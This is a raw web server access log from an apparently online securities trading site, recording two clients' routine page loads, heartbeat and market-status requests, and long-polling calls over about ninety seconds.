[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161914 HTTP/1.1" 980
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161914 HTTP/1.1" 418
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161914 HTTP/1.1" 29
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu_logout.jpg HTTP/1.1" 1016
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767935467997 HTTP/1.1" 3188
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 2
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 125
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/trade.html HTTP/1.1" 2113
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 31
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/getpopupMsgName.jsp HTTP/1.1" -
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/trade_point01.jpg HTTP/1.1" 358
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/applet_dummy.html HTTP/1.1" 330
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/multi_currency_balance.html HTTP/1.1" 295
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/PostToAA.jsp?hl=tc HTTP/1.1" 294
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_222222_256x240.png HTTP/1.1" 6922
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_flat_75_ffffff_40x100.png HTTP/1.1" 208
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:06:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:06:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfo HTTP/1.1" 208
[09/Jan/2026:13:06:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:06:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:06:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:06:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:06:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:06:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LongPollingConfig HTTP/1.1" 4
[09/Jan/2026:13:06:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:06:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/account_status.html HTTP/1.1" 426
[09/Jan/2026:13:06:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935470404 HTTP/1.1" -
[09/Jan/2026:13:06:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:06:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:06:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1681
[09/Jan/2026:13:06:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935455603 HTTP/1.1" -
[09/Jan/2026:13:06:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935475445 HTTP/1.1" -
[09/Jan/2026:13:06:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:06:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:06:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935460782 HTTP/1.1" -
[09/Jan/2026:13:06:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:06:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:06:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935480477 HTTP/1.1" -
[09/Jan/2026:13:06:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935465830 HTTP/1.1" -
[09/Jan/2026:13:06:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935485537 HTTP/1.1" -
[09/Jan/2026:13:06:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935470885 HTTP/1.1" -
[09/Jan/2026:13:06:45 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935490596 HTTP/1.1" -
[09/Jan/2026:13:06:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935476029 HTTP/1.1" -
[09/Jan/2026:13:06:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935495655 HTTP/1.1" -
[09/Jan/2026:13:06:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935481179 HTTP/1.1" -
[09/Jan/2026:13:06:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:06:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:06:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:06:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:06:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935500682 HTTP/1.1" -
[09/Jan/2026:13:06:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935486307 HTTP/1.1" -
[09/Jan/2026:13:07:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935505703 HTTP/1.1" -
[09/Jan/2026:13:07:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:07:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:07:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935491448 HTTP/1.1" -
[09/Jan/2026:13:07:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:07:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:07:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935510762 HTTP/1.1" -
[09/Jan/2026:13:07:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935496552 HTTP/1.1" -
[09/Jan/2026:13:07:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935515833 HTTP/1.1" -
[09/Jan/2026:13:07:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935501623 HTTP/1.1" -
[09/Jan/2026:13:07:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935520884 HTTP/1.1" -
[09/Jan/2026:13:07:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935506732 HTTP/1.1" -
[09/Jan/2026:13:07:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935525932 HTTP/1.1" -
[09/Jan/2026:13:07:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935511857 HTTP/1.1" -
[09/Jan/2026:13:07:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:07:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:07:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:07:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:07:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935531001 HTTP/1.1" -
[09/Jan/2026:13:07:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935517000 HTTP/1.1" -
[09/Jan/2026:13:07:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935536030 HTTP/1.1" -
[09/Jan/2026:13:07:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:07:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:07:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935522195 HTTP/1.1" -
[09/Jan/2026:13:07:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:07:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:07:36 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935541091 HTTP/1.1" -
[09/Jan/2026:13:07:36 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:13:07:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935527265 HTTP/1.1" -
[09/Jan/2026:13:07:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935546164 HTTP/1.1" -
[09/Jan/2026:13:07:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935532318 HTTP/1.1" -
[09/Jan/2026:13:07:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935551185 HTTP/1.1" -
[09/Jan/2026:13:07:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935537478 HTTP/1.1" -
[09/Jan/2026:13:07:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935557194 HTTP/1.1" -
[09/Jan/2026:13:07:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935542630 HTTP/1.1" -
[09/Jan/2026:13:07:54 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:07:54 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:07:54 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
